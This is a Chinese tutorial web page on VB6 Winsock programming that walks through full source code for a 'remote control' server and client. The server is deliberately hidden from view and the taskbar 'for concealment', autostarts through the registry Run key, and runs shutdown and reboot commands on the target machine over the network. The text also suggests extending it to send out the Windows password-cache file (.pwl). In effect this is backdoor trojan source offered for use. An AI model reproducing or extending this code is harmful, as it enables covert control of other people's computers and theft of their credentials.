隐藏

VB6.0中Winsock控件是怎么使用

发布:2013/5/4 15:59:17作者:管理员 来源:本站 浏览次数:1553

 

远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHostRemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。下面是Winsock控件的相关属性,方法和事件。(略去一些暂用不到的)

*属性
-------------------------------------------------------------------------
LocalHostName |
本地机器名
LocalIP |
本地机器IP地址
LocalPort |
本地机器通信程序的端口(0<端口<65536)
RemoteHost |
远程机器名
RemotePort |
远程机器的通信程序端口
state |
连接的当前状态(文后有详细说明)
Protocal |
使用TCPUDP协议(这里我们选‘0-sckTCPProtocal’)
--------------------------------------------------------------------------
*
方法
--------------------------------------------------------------------------
Listen
Listen
方法用于服务器程序,等待客户访问。
格式:Winsock对象.listen
Connect
Connect
方法用于向远程主机发出连接请求
格式:Winsock对象.connect [远程主机IP,远程端口]
Accept
Accept
方法用于接受一个连接请求
格式:Winsock对象.accept Request ID
Senddata
此方法用于发送数据
格式:Winsock对象.senddata 数据
Getdata
用来取得接收到的数据
格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close
关闭当前连接
格式:Winsock对象.close
*
事件
----------------------------------------------------------------------------
Close |
远程机器关闭连接时触发
Connect |
连接建立好,可以进行通信时触发(客户端)
ConnectRequest |
有请求连接到达时产生(服务器端)
DataArrival |
有数据到达时触发
Error |
发生错误时发生
SendProgress |
数据传送进度
-----------------------------------------------------------------------------
程序代码如下:
--
》服务器端程序(server.exe)
先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBarFalse,VisibleFalse(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.iniLoad,run写入"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.

Private Sub Form_Load()
On Error GoTo skip
注释:如此端口已有通信程序则退出
Winsock1.LocalPort = 1334
注释:端口值应大于1024,如还有冲突可改为其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "
端口冲突,退出!", vbOKOnly, "注意!"
End
End If
End Sub

Private Sub Winsock1_Close()
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Listen
注释:关闭连接后继续监听
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
注释:请求到达时,接受连接
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strget As String
Dim ccom As String
Winsock1.GetData strget
注释:读取到达的数据
Select Case strget
Case "a"
注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec"
注释:不同机器设置不一样
Call Shell(ccom, vbHide)
注释:由函数curr_win()来判断
Case "b"
注释:如为‘b’则关闭计算机
ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"
Call Shell(ccom, vbHide)
注释:函数shell来执行命令
Case Else
注释:可以在此加入其他命令
End Select
End Sub

Function curr_win() As String
Dim i As Integer
Dim enstr As String
i = 1
注释:此函数通过读取环境变量来获得Windows目录
enstr = Environ(i)
Do While enstr <> ""
If Len(enstr) > 11 Then
If Left(enstr, 11) = "winbootdir=" Then
curr_win = Right(enstr, Len(enstr) - 11)
Exit Do
End If
End If
i = i + 1
enstr = Environ(i)
Loop
End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal
Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "
错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出
End
End Sub

--》客户端程序(Client.exe)
程序界面如图[control.jpg]
防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:
------------------------------------------------------------------------- -
控件名 | 控件类 | 属性 | 属性值
----------------------------------------------------------------------------
closewin_but | commandbutton | caption |
远程关闭
startwin_but | commandbutton | caption |
远程重启
connect_but | commandbutton | caption |
连接
exit_but | commandbutton | caption |
退出
state_lab | label | borderstyle | 1
-----------------------------------------------------------------------------
代码如下:
Private Sub Form_Load()
Winsock1.LocalPort = 22226
注释:本地端口可任选,只要不冲突且小于65535,用
注释:netstat -an命令可查看当前通信进程
Winsock1.RemoteHost = "127.0.0.1"
注释:调试时此IP将对本机操作,实际应用时可
注释:换上被控方IP
Winsock1.RemotePort = 1334
注释:对应服务器端的localport
state_lab = "
未建立连接."
End Sub

Private Sub closewin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "
请先建立连接"
Else
Winsock1.SendData "b"
注释:发出关闭命令
End If
End Sub

Private Sub startwin_but_Click()
If Winsock1.State <> sckConnected Then
state_lab = "
请先建立连接"
Else
Winsock1.SendData "a"
注释:发出重启命令
End If
End Sub

Private Sub connect_but_Click()
On Error GoTo skip
If Winsock1.State = sckConnected Then
state_lab = "
已建立连接了"
Else
Winsock1.Connect
End If
Exit Sub
skip:
注释:用netstat命令看到状态为Time_wait
If Err.Number = 10048 Then
注释:须等待一段时间才可连接,也可换另一
注释:端口,可加快连接速度
MsgBox "
端口正在使用,请稍后再试!", vbOKOnly, "注意!"
End
End If
End Sub

Private Sub exit_but_Click()
Winsock1.Close
注释:关闭连接且退出
End
End Sub

Private Sub Winsock1_Connect()
state_lab = "
建立连接成功!可发送命令."
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,
ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "
错误", vbOKOnly, "注意!"
End
End Sub

通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如文件的下载,可先让客户程序发一命令字串注释:cc:\windows\lzh.pwl注释:,服务器接收到命令字串后判断出首字母c为下载命令,则将所指定的命令文件注释:c:\windows\lzh.pwl注释:传送给客户端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过在服务器端产生多个Winsock实例来接受请求.
*****
测试环境:
Window98
MicroSoft Visual Basic 5.0企业版

附:属性state
常数 值 描述
sckClosed 0
关闭状态
sckOpen 1
打开状态
sckListening 2
侦听状态
sckConnectionPending 3
连接挂起
sckResolvingHost 4
解析域名
sckHostResolved 5
已识别主机
sckConnecting 6
正在连接
sckConnected 7
已连接
sckClosing 8
同级人员正在关闭连接
sckError 9
错误